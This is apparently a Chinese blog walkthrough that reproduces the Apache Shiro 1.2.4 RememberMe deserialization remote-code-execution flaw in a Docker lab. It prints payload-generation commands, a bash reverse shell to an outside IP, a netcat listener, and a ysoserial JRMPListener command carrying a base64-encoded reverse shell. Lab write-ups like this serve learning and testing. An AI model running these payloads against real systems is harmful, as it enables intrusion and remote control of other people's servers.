Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

  • 漏洞环境搭建
  • 漏洞复现
  • 反弹shell
  • 题外话1
  • 题外话2

影响版本:Apache Shiro <= 1.2.4
漏洞产生原因:

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)

漏洞环境搭建

1.拉取镜像
docker pull medicean/vulapps:s_shiro_1
2.启动环境
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
如需进入环境,命令为
docker exec -it name /bin/bash
3.web访问
http://127.0.0.1 能看到如下页面即可
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker_第1张图片
或虚拟机外面用真实ip访问
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker_第2张图片至此漏洞环境搭建成功

漏洞复现

1.抓包测试
查看返回包里setcookie有rememberme的字样
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker_第3张图片
2.继续测试
首先最简单的测试方法是用dnslog,看看是否有回显。
利用POC生成想要执行的命令对应的rememberMe
3.工具准备
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker_第4张图片
生成payload的脚本使用的是python3,运行报错就安装一下模块
4.生成payload:
双引号中是想要执行的命令,如果这里没有公网VPS,就用dnslog来证明。攻击原理一样,不认可的杠精可直接怼

py -3 shiro_1.2.4.py "ping 39p2wo.dnslog.cn"

运行结果如下图:
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker_第5张图片
然后便会在脚本所在目录下生成文件payload.cookie

5.回到浏览器抓包

用payload.cookie中的rememberMe内容加入Cookie中,或者直接放进参数中,提交看页面回显和dnslog页面是否有数据过去
6.到ceye平台查看日志记录
dnslog日志刷新后有记录了,说明payloda执行成功
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker_第6张图片

反弹shell

当然了,有VPS的情况下,为何不反弹一下shell呢?
1.使用脚本生成key
反弹shell的命令:bash -i >& /dev/tcp/22.45.13.9/7878 0>&1

py -3 shiro_1.2.4.py "bash -i >& /dev/tcp/22.45.13.9/7878 0>&1"

PS:ip假的,不打码,观看流畅
2.先公网VPS监听反弹shell的命令

nc -lvp 7878

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker_第7张图片
3.加入payload,提交数据包
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker_第8张图片
这里使用curl也能达到burp的效果

// 加 -I 是只看响应头,这里主要关注set-cookie:rememberMe
curl -X GET http://172.16.12.132 --cookie “xxxxxxxxxxxxx” -I

讲这个是因为此方法可以用来初步探测shiro信息
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker_第9张图片

4.vps收到了反弹回来的shell

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker_第10张图片

题外话1

研究这个漏洞,是因为客户要求排查下资产,然后找不到集成的工具和一键式检查的。
漏洞的事情OK了,还是觉得自己太菜,要是代码够给力,写个集成的丢github上就真的香。

题外话2

还有一个思路,看大佬文章时,这里一直没搞懂。字面意思是用ysoserial中的JRMP监听模块来搞定的,后续学会了再补上笔记

 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

在这里插入图片描述
参考链接:
https://www.jianshu.com/p/0007eafd1f92
https://www.secpulse.com/archives/112742.html

你可能感兴趣的:(vmware)